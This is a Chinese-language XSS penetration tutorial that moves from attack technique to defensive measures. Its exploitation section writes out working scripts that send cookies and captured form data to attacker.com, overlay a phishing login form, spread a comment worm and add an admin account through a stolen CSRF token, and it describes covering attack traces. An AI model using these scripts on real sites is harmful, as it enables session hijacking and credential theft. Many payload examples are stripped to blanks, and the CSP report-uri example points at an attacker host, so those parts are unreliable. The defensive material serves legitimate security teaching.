xss 渗透 2026-05-15 12:22:46 8 [TOC] ## XSS 概述 跨站脚本攻击(Cross-Site Scripting,简称 **XSS**)是 Web 应用中最普遍、最易被忽视的安全漏洞之一,长期位列 **OWASP Top 10**(2021 年归类于 “注入类漏洞”)。其核心原理是:**攻击者将恶意 JavaScript 代码注入到 Web 页面中,当用户访问该页面时,浏览器会执行注入的脚本,从而实现窃取 Cookie、劫持会话、篡改页面内容、传播恶意代码等攻击行为**。 与 SQL 注入直接操作数据库不同,XSS 聚焦于 “客户端脚本执行”—— 攻击目标是访问页面的普通用户,而非服务器或数据库。其危害范围可从单个用户扩展到整个站点(如存储型 XSS 可批量攻击所有访问页面的用户)。 ### 核心危害 - **会话劫持**:窃取用户的认证 Cookie(如 `SESSIONID`、`JWT`),使用户会话被攻击者接管,以用户身份访问敏感功能(如登录后台、转账); - **敏感信息窃取**:通过脚本读取用户输入的账号密码、银行卡号、个人隐私数据(如通讯录、聊天记录),并发送至攻击者服务器; - **页面篡改**:修改页面内容(如替换支付链接为攻击者链接、伪造 “系统通知” 诱导用户输入敏感信息); - **恶意代码传播**:在页面中注入钓鱼脚本、挖矿代码、蠕虫病毒(如通过存储型 XSS 在论坛、评论区传播,感染所有访问者); - **权限提升与服务器攻击**:结合其他漏洞(如 CSRF、文件上传),执行服务器命令(如通过 XSS 触发 CSRF 上传 WebShell),最终控制服务器; - **钓鱼与社会工程学**:伪造登录窗口、弹窗提示(如 “账号异常,需重新输入密码”),诱导用户主动泄露信息。 ## XSS 原理 ### 基本概念 XSS 的本质是 **“用户输入未经过滤 / 编码,被当作页面代码的一部分执行”**。Web 应用若未对用户输入的特殊字符(如 `<`、`>`、`'`、`"`、`&`)进行处理,直接将输入内容输出到页面中,攻击者即可构造包含恶意 JavaScript 的输入,被浏览器解析为合法脚本并执行。 XSS 攻击需满足两个核心条件: 1. **注入点存在**:应用存在可接收用户输入并输出到页面的位置(如评论框、URL 参数、搜索框、用户资料编辑页); 2. **脚本可执行**:注入的恶意代码未被浏览器或应用拦截,且符合 JavaScript 语法规则(如标签闭合、脚本上下文正确)。 ### 三大核心 XSS 类型对比 XSS 按 “代码存储方式” 和 “触发场景” 可分为三类,其攻击流程和危害程度差异显著: | 类型 | 核心特征 | 攻击流程 | 典型场景 | 危害程度 | | -------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | --------------------------------------------------- | | **存储型 XSS**(Persistent XSS) | 恶意代码被**永久存储在服务器**(如数据库、文件),所有访问页面的用户都会触发 | 1. 攻击者在评论区输入 ``; 2. 应用将恶意评论存入数据库; 3. 其他用户访问评论页时,应用从数据库读取并输出恶意代码; 4. 用户浏览器执行脚本,Cookie 被窃取 | 论坛评论区、博客留言板、用户资料页、聊天记录存储、个人简介、帖子、商品评论、操作日志、广告推广留电话、保存收藏等等 | ★★★★★(批量攻击,影响所有用户) | | **反射型 XSS**(Reflected XSS) | 恶意代码通过**URL 参数、表单提交**等方式传递,仅在当前请求中临时反射到页面,仅触发者本人受影响 | 1. 攻击者构造 URL:`https://target.com/search?q=`; 2. 诱导用户点击该 URL; 3. 应用将 URL 中的 `q` 参数值直接输出到搜索结果页; 4. 用户浏览器执行脚本,Cookie 被窃取 | 搜索框、登录失败提示(如 “用户名 `xxx` 不存在”)、URL 参数展示页、get 传参页面回显 | ★★★☆☆(单点攻击,依赖用户点击钓鱼链接) | | **DOM 型 XSS**(DOM-Based XSS) | 恶意代码不经过服务器,仅通过**前端 JS 操作 DOM 时注入**,属于 “客户端 XSS” | 1. 攻击者构造 URL:`https://target.com/#q=`; 2. 用户点击 URL 后,页面 JS 执行 `document.getElementById("search-result").innerHTML = location.hash.slice(2)`; 3. 恶意代码被插入 DOM 并执行,Cookie 被窃取 | 前端框架(如 Vue/React)的 DOM 操作、URL 哈希(`#`)处理、本地存储(LocalStorage)读取、`window.location`、`innerHTML`、`document.write`、eval、hash 参数 | ★★★★☆(不经过服务器,易绕过后端防护;影响单个用户) | ### 典型示例(三种类型对比) #### 1. 存储型 XSS(评论区注入) **攻击者输入**(评论框提交): ```html ``` **服务器处理逻辑**(错误写法,未过滤输入): ```php // 接收评论并存入数据库 $comment = $_POST['comment']; $sql = "INSERT INTO comments (content) VALUES ('$comment')"; mysql_query($sql); // 读取评论并输出到页面 $result = mysql_query("SELECT content FROM comments"); while ($row = mysql_fetch_assoc($result)) { echo "" . $row['content'] . ""; // 直接输出,无过滤 } ``` **后果**:所有访问评论页的用户,浏览器都会执行该脚本,Cookie 被发送到攻击者服务器。 #### 2. 反射型 XSS(搜索框注入) **攻击者构造钓鱼 URL**: ```plaintext https://target.com/search?q= ``` **服务器处理逻辑**(错误写法,未编码输出): ```java // 接收 URL 中的搜索参数 String q = request.getParameter("q"); // 直接输出到搜索结果页(未编码) response.getWriter().write("搜索结果:" + q); ``` **后果**:用户点击该 URL 后,搜索结果页会输出并执行恶意脚本,仅该用户的 Cookie 被窃取。 #### 3. DOM 型 XSS(前端哈希处理) **攻击者构造 URL**: ```plaintext https://target.com/index.html#username= ``` **前端 JS 逻辑**(错误写法,直接操作 innerHTML): ```javascript // 读取 URL 哈希中的 username 参数并显示 var username = location.hash.slice(1).split("=")[1]; // 截取 #username=xxx 中的 xxx document.getElementById("user-info").innerHTML = "欢迎您," + username; // 直接插入 DOM,无过滤 ``` **后果**:用户点击 URL 后,前端 JS 将恶意代码插入 DOM 并执行,无需经过服务器,后端防护无法拦截。 ## XSS 影响因素分析表 XSS 的攻击成功率取决于 “输入处理”“输出编码”“前端防护”“浏览器特性” 等多维度因素,具体如下: | 影响因素 | 说明 | 攻击示例 | 备注 | | ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | 输入过滤规则 | 应用是否对用户输入的敏感字符(`<`、`>`、`script`、`onload`)进行过滤,过滤是否彻底 | 若过滤 `script` 标签:攻击者用 `ipt>`(双写绕过); 若过滤 `<`:用 `<` 编码后是否被解码执行 | 过滤不彻底易被绕过(如仅过滤小写,可用 ``,观察是否被过滤(如页面显示 `` 还是空白 / 提示非法); - 输出编码:查看页面源码,输入的 `<` 是否被编码为 `<`(HTML 编码)、`\x3c`(JS 编码); - CSP:通过浏览器开发者工具(F12 → Network → 选中请求 → Response Headers)查看是否存在 `Content-Security-Policy` 头; - Cookie 属性:查看 Cookie 是否带有 `HttpOnly` 标记(F12 → Application → Cookies)。 ### 2. 注入点探测阶段 根据信息收集结果,对每个输入点进行测试,确定是否存在 XSS 漏洞及漏洞类型(存储型 / 反射型 / DOM 型)。 #### (1)反射型 XSS 探测 1. 构造测试 payload(通用型,适配 HTML 上下文): - 基础 payload:``(测试脚本标签是否执行); - 事件触发 payload:`、点击`(避免 `script` 标签被过滤); 2. 将 payload 传入输入点(如 URL 参数 `q=`); 3. 访问页面并观察: - 若弹出 alert 框,说明存在反射型 XSS; - 若页面显示 payload 文本,查看源码确认是否被编码(如 `` → 编码有效,无漏洞); - 若 payload 被截断 / 替换(如显示 ``),说明存在输入过滤,需尝试绕过。 #### (2)存储型 XSS 探测 1. 选择可持久化输入的位置(如评论区、用户昵称),提交测试 payload(同反射型); 2. 提交后,退出当前账号或用另一浏览器访问该页面(确保是 “新用户” 视角); 3. 观察页面是否执行 payload(如弹出 alert): - 若执行,说明存在存储型 XSS(危害极高,所有访问者都会触发); - 若仅提交者本人可见 payload 执行,其他人不可见,可能是按用户权限过滤了内容。 #### (3)DOM 型 XSS 探测 1. 寻找前端 JS 操作 DOM 的场景(如 URL 哈希处理、LocalStorage 读取、表单值回显); 2. 构造针对 DOM 上下文的 payload: - URL 哈希场景:`https://target.com/#x=`(测试 `location.hash` 被 `innerHTML` 插入的情况); - JS 变量场景:`https://target.com/?name=";alert(1);//`(测试 `var name = "用户输入";` 上下文,闭合引号并注释后续代码); 3. 访问页面并查看 DOM 结构(F12 → Elements): - 若 payload 被插入 DOM 且未编码(如 `` 存在于 Elements 中),且弹出 alert,说明存在 DOM 型 XSS; - 若 payload 被编码(如 ``),则无漏洞。 ### 3. payload 构造阶段 根据漏洞类型和上下文(HTML/JS/CSS/URL),构造适配的恶意 payload,绕过防护措施(如过滤、CSP)。 #### (1)按上下文分类的 payload 示例 | 执行上下文 | 核心特点 | 测试 payload | 恶意 payload(窃取 Cookie) | | ----------- | ------------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | HTML 标签内 | 输入被插入 HTML 标签之间(如 `输入`) | `` `` | `` | | HTML 属性内 | 输入被插入 HTML 标签属性中(如 ``) | `" onclick=alert(1) x="`(闭合 value 属性,添加 onclick 事件) | `" onclick="var c=document.cookie;fetch('https://attacker.com/steal?c='+c)" x="` | | JS 变量内 | 输入被插入 JS 变量中(如 `var x="输入";`) | `" ;alert(1); //`(闭合双引号,插入 alert,注释后续代码) | `" ;fetch('https://attacker.com/steal?c='+document.cookie); //` | | JS 函数内 | 输入被作为函数参数(如 `func("输入");`) | `" ,alert(1)); //`(闭合参数,插入 alert) | `" ,document.cookie);fetch('https://attacker.com/steal?c='+document.cookie); //` | | CSS 上下文 | 输入被插入 CSS 样式中(如 `style="输入"`) | `background: url(javascript:alert(1))`(仅部分旧浏览器支持) | 风险较低,主要用于诱导点击,如 `color:red;cursor:pointer;" onclick=alert(1) x="` | | URL 参数内 | 输入被作为 URL 一部分(如 ``) | `javascript:alert(1)`(伪协议执行脚本) | `javascript:var c=document.cookie;location.href='https://attacker.com/steal?c='+c` | #### (2)绕过过滤的 payload 技巧 当输入被过滤时,通过 “变形” payload 绕过规则: - **双写绕过**:若过滤 `script`,用 `ipt>alert(1)ipt>`(服务器过滤中间的 `script` 后,剩余 ``); - **大小写混合**:若过滤小写标签,用 ``、``; - 编码绕过: - HTML 实体编码:`<` 编码为 `<`、`<`,若服务器解码后输出,可注入 ``; - URL 编码:`javascript:alert(1)` 编码为 `javascript:%61%6C%65%72%74%28%31%29`(适用于 URL 参数场景); - JS 编码:`<` 编码为 `\x3c`、`\u003c`,在 JS 上下文注入 `\x3cscript\x3ealert(1)\x3c/script\x3e`; - **事件触发替换**:若 `onerror` 被过滤,用其他事件:``(图片加载完成触发)、`点击`(点击触发)、``(滚动触发); - **标签替换**:若 `script` 标签被过滤,用其他可执行脚本的标签:``、``(SVG 标签支持事件)。 #### (3)绕过 CSP 的 payload 技巧 若目标站点配置 CSP,需针对 CSP 规则构造 payload: - **利用 CSP 白名单漏洞**:若 CSP 允许加载 `https://cdn.trusted.com/` 的脚本,攻击者可在该 CDN 上上传恶意脚本(如利用 CDN 漏洞),然后注入 ``; - **利用 JSONP 绕过**:若 CSP 允许 `script-src 'self'`,且站点存在 JSONP 接口(如 `https://target.com/jsonp?callback=xxx`),注入 ``(JSONP 会执行 callback 函数); - **利用内联脚本例外**:若 CSP 配置 `script-src 'self' 'unsafe-inline'`(允许内联脚本),直接注入 ``;若配置 `'nonce-xxx'`(仅允许带特定 nonce 的内联脚本),需先获取 nonce 值(如通过 XSS 读取页面源码); - **利用 eval 相关函数**:若 CSP 未禁止 `eval`、`setTimeout`、`setInterval`,注入 ``(`setTimeout` 第一个参数可执行脚本)。 ### 4. 攻击利用阶段 payload 执行后,根据攻击目标实施具体操作,常见利用场景如下: #### (1)会话劫持(核心目标) 通过窃取用户的认证 Cookie,以用户身份登录系统: ```javascript // 恶意脚本:窃取 Cookie 并发送到攻击者服务器 function stealCookie() { var cookie = document.cookie; // 若 Cookie 未设 HttpOnly,可读取 // 用 Image 标签发送(无需跨域权限,隐蔽性强) var img = new Image(); img.src = "https://attacker.com/collect?cookie=" + encodeURIComponent(cookie) + "&domain=" + document.domain; img.style.display = "none"; // 隐藏图片,用户无感知 } stealCookie(); ``` **攻击者操作**: 1. 接收 Cookie 后,在浏览器中手动设置 Cookie(F12 → Application → Cookies → 添加 `SESSIONID` 等字段); 2. 刷新目标站点,即可以用户身份登录(如普通用户→管理员)。 #### (2)敏感信息窃取 读取用户输入的敏感数据(如账号密码、表单内容): ```javascript // 恶意脚本:监听表单提交,窃取输入的账号密码 document.addEventListener("submit", function(e) { var form = e.target; var data = new FormData(form); var info = {}; for (var [key, value] of data.entries()) { info[key] = value; // 收集表单字段(如 username、password) } // 发送到攻击者服务器 fetch("https://attacker.com/steal-form", { method: "POST", body: JSON.stringify(info), headers: { "Content-Type": "application/json" } }); }); ``` #### (3)页面篡改与钓鱼 修改页面内容,诱导用户输入敏感信息: ```javascript // 恶意脚本:替换页面登录表单为钓鱼表单 window.onload = function() { // 隐藏原登录表单 var originalForm = document.getElementById("login-form"); originalForm.style.display = "none"; // 创建钓鱼表单 var fakeForm = document.createElement("form"); fakeForm.id = "fake-login-form"; fakeForm.method = "POST"; fakeForm.action = "https://attacker.com/fake-login"; // 提交到攻击者服务器 fakeForm.innerHTML = ` 账号异常,请重新登录 登录 `; // 插入钓鱼表单到页面 originalForm.parentNode.insertBefore(fakeForm, originalForm); }; ``` #### (4)传播恶意代码(存储型 XSS 特有) 在论坛、聊天群等场景,通过存储型 XSS 批量感染用户: ```javascript // 恶意脚本:自动发布包含相同 XSS 代码的评论,传播蠕虫 function spreadXSS() { // 构造包含 XSS 代码的评论内容 var maliciousComment = " 好帖!"; // 自动提交评论(模拟表单提交) var commentForm = document.getElementById("comment-form"); document.getElementById("comment-content").value = maliciousComment; commentForm.submit(); } // 延迟执行,避免被即时检测 setTimeout(spreadXSS, 3000); ``` #### (5)结合 CSRF 提升权限 通过 XSS 读取 CSRF Token,触发高权限操作(如添加管理员): ```javascript // 恶意脚本:读取 CSRF Token 并发送 CSRF 请求添加管理员 function addAdmin() { // 读取页面中的 CSRF Token(假设存在于隐藏字段) var csrfToken = document.getElementsByName("csrf_token")[0].value; // 发送添加管理员的 CSRF 请求 fetch("https://target.com/admin/add", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "X-CSRF-Token": csrfToken }, body: "username=attacker&password=123456&role=admin" }); } addAdmin(); ``` ### 5. 痕迹清理阶段 为避免被目标站点或用户发现,攻击者会清理攻击痕迹: - 隐藏脚本执行: - 用 `display:none` 隐藏注入的 ``、`"; // 3. URL 参数内输出 $search = $_GET['search']; echo "查看更多"; ``` ### 2. 输入过滤(辅助防御,减少恶意输入) 输入过滤是 “在接收用户输入时,剔除或替换恶意字符”,作为输出编码的补充。需注意:**过滤不能替代输出编码**(过滤规则可能被绕过),但可减少恶意输入的数量。 #### (1)白名单过滤(推荐,最安全) 仅允许符合 “合法格式” 的输入,拒绝所有不符合规则的内容(如仅允许字母、数字、常见标点): - 示例 1:用户名仅允许字母 + 数字 + 下划线,长度 3-20 位: ```php $username = $_POST['username']; if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) { die("用户名格式非法"); } ``` - 示例 2:邮箱输入需符合邮箱格式: ```java String email = request.getParameter("email"); if (!email.matches("^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)+$")) { response.sendError(400, "邮箱格式错误"); } ``` #### (2)黑名单过滤(谨慎使用,易被绕过) 禁止或替换已知的恶意字符 / 标签(如 `合法文本"; // 使用 basic 白名单:仅允许 、、 等基本标签 String cleanInput = Jsoup.clean(userInput, Whitelist.basic()); // 输出:合法文本(script 标签被过滤) System.out.println(cleanInput); ``` ### 3. 前端防护:内容安全策略(CSP) 内容安全策略(Content Security Policy,简称 **CSP**)是通过 HTTP 响应头或 `` 标签,限制浏览器执行脚本的来源、禁止内联脚本 /eval 函数,从 “执行层面” 阻断 XSS 攻击,是现代 Web 应用的核心防御手段之一。 #### (1)CSP 核心指令(常用) | 指令 | 作用 | 示例配置 | | --------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | `script-src` | 限制脚本加载来源(最核心指令),禁止未授权的脚本执行 | `script-src 'self' https://cdn.trusted.com`(仅允许本站和可信 CDN 的脚本); `script-src 'none'`(禁止所有脚本,适用于无脚本的静态页面) | | `style-src` | 限制样式表加载来源 | `style-src 'self' 'unsafe-inline'`(允许本站样式和内联样式,`unsafe-inline` 需谨慎使用) | | `img-src` | 限制图片加载来源 | `img-src 'self' data:`(允许本站图片和 data URI 图片) | | `object-src` | 限制 ``、`` 等插件加载来源 | `object-src 'none'`(禁止所有插件,减少漏洞风险) | | `base-uri` | 限制 `` 标签的 `href` 属性,防止篡改页面基准 URL | `base-uri 'self'`(仅允许本站基准 URL) | | `default-src` | 所有未指定指令的默认来源(如未指定 `img-src`,则使用 `default-src`) | `default-src 'self'`(默认仅允许本站资源) | | `unsafe-inline` | 允许内联脚本 / 样式(不推荐,会降低 CSP 安全性),仅在无法避免时使用 | `script-src 'self' 'unsafe-inline'`(允许本站脚本和内联脚本) | | `unsafe-eval` | 允许 `eval`、`setTimeout` 等执行动态脚本的函数(不推荐) | `script-src 'self' 'unsafe-eval'`(允许本站脚本和 eval 函数) | | `nonce-xxx` | 允许带有特定 nonce 的内联脚本(比 `unsafe-inline` 安全),nonce 需每次请求随机生成 | `script-src 'self' 'nonce-abc123'`; 内联脚本:`` | | `hash-xxx` | 允许哈希值匹配的内联脚本(无需 nonce,适合静态内联脚本) | 脚本 `alert(1)` 的 SHA-256 哈希为 `xxx`,配置:`script-src 'self' 'sha256-xxx'` | #### (2)CSP 配置示例(两种方式) ##### 方式 1:通过 HTTP 响应头配置(推荐,优先级高) 在服务器端配置响应头(如 Nginx、Apache、Java 后端): - Nginx 配置(在server或location块中): ```nginx add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'self';" always; ``` - Java Spring Boot 配置(通过拦截器添加响应头): ```java @Component public class CspInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader("Content-Security-Policy", "default-src 'self'; " + "script-src 'self' https://cdn.jsdelivr.net; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data:; " + "object-src 'none'; " + "base-uri 'self'"); return true; } } ``` ##### 方式 2:通过 HTML `` 标签配置(适用于无法修改服务器响应头的场景) 在 HTML 的 `` 标签中添加: ```html ``` #### (3)CSP 配置原则 1. **最小权限**:仅允许必要的资源来源(如 `script-src` 仅配置本站和可信 CDN,不使用 `*`); 2. **禁止 unsafe-inline 和 unsafe-eval**:除非有不可替代的业务需求(如旧框架依赖),否则尽量避免; 3. **使用 nonce/hash 替代 unsafe-inline**:若需内联脚本,用 nonce(每次请求随机生成)或 hash(静态脚本的哈希值),提高安全性; 4. **逐步迁移**:若现有系统依赖大量内联脚本,可先配置 `script-src 'self' 'unsafe-inline'`,再逐步移除内联脚本,最终禁用 `unsafe-inline`; 5. **监控 CSP 违规**:配置 `report-uri https://attacker.com/csp-report`(或 `report-to`),收集 CSP 违规日志,及时发现未覆盖的风险点。 ### 4. Cookie 安全:HttpOnly 与 Secure 属性 HttpOnly 和 Secure 属性虽无法防御 XSS 本身,但可防止 XSS 窃取会话 Cookie,降低 “会话劫持” 风险: #### (1)HttpOnly 属性 - **作用**:禁止 JavaScript 读取 Cookie(`document.cookie` 无法获取该 Cookie),仅允许浏览器在 HTTP 请求中自动携带; - **适用场景**:所有认证相关的 Cookie(如 `SESSIONID`、`JWT`); - 配置示例(Java): ```java Cookie sessionCookie = new Cookie("SESSIONID", sessionId); sessionCookie.setHttpOnly(true); // 开启 HttpOnly sessionCookie.setPath("/"); response.addCookie(sessionCookie); ``` #### (2)Secure 属性 - **作用**:仅允许 Cookie 在 HTTPS 协议下传输,防止 HTTP 协议被中间人攻击窃取 Cookie; - **适用场景**:所有生产环境的 Cookie(尤其是认证 Cookie); - 配置示例(Nginx): ```nginx # 仅在 HTTPS 下设置 Cookie,并添加 Secure 属性 add_header Set-Cookie "SESSIONID=$sessionId; HttpOnly; Secure; Path=/; SameSite=Lax" always; ``` #### (3)SameSite 属性(结合 CSRF 防御) - **作用**:限制 Cookie 跨站携带,防止 XSS 结合 CSRF 滥用 Cookie; - 配置示例(PHP): ```php setcookie("SESSIONID", $sessionId, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Lax', // 或 Strict 'path' => '/' ]); ``` ### 5. 前端安全编码实践 前端框架(如 Vue、React)虽自带部分 XSS 防护,但仍需遵循安全编码规范,避免引入 DOM 型 XSS: #### (1)避免危险的 DOM 操作 API - **禁止使用**:`innerHTML`、`outerHTML`、`document.write`、`eval`、`setTimeout(string)`、`setInterval(string)`(这些 API 会执行插入的脚本); - **推荐使用**:`textContent`(仅渲染文本,不解析 HTML)、`setAttribute`(安全设置属性值); **示例(Vue 框架安全实践)**: ```vue {{ userInput }} " // 用户输入 }; } }; ``` #### (2)处理 URL 哈希和参数 - 读取 `location.hash`、`location.search` 后,需进行编码或过滤,再插入 DOM; - 示例(安全处理 URL 哈希): ```javascript // 危险:直接用 innerHTML 插入哈希值 var hash = location.hash.slice(1); document.getElementById("result").innerHTML = hash; // 若哈希为 ,会触发 XSS // 安全:用 textContent 插入,或先编码 document.getElementById("result").textContent = hash; // 仅渲染文本,无风险 // 或 HTML 编码后插入 document.getElementById("result").innerHTML = htmlEscape(hash); // htmlEscape 为自定义编码函数 ``` #### (3)清理第三方脚本和组件 - 仅引入官方或可信来源的第三方脚本(如 jQuery、Vue),避免使用未知来源的脚本; - 定期更新第三方组件(如富文本编辑器、表单插件),修复已知的 XSS 漏洞; - 示例(安全引入第三方脚本): ```html ``` ### 6. 漏洞扫描与持续监控 XSS 漏洞可能因代码迭代、第三方组件更新而引入,需建立 “定期扫描 + 实时监控” 机制: #### (1)定期自动化扫描 - 使用工具(如 Burp Suite、OWASP ZAP、Nessus)定期扫描所有输入点,检测潜在 XSS 漏洞; - 集成到 CI/CD 流程(如 Jenkins),每次代码提交后自动执行 XSS 扫描,阻断有漏洞的代码上线; #### (2)实时监控 CSP 违规和异常请求 - 配置 CSP `report-uri`,收集浏览器发送的 CSP 违规日志(如尝试加载未授权脚本、执行内联脚本); - 监控异常请求(如大量包含 ` ↑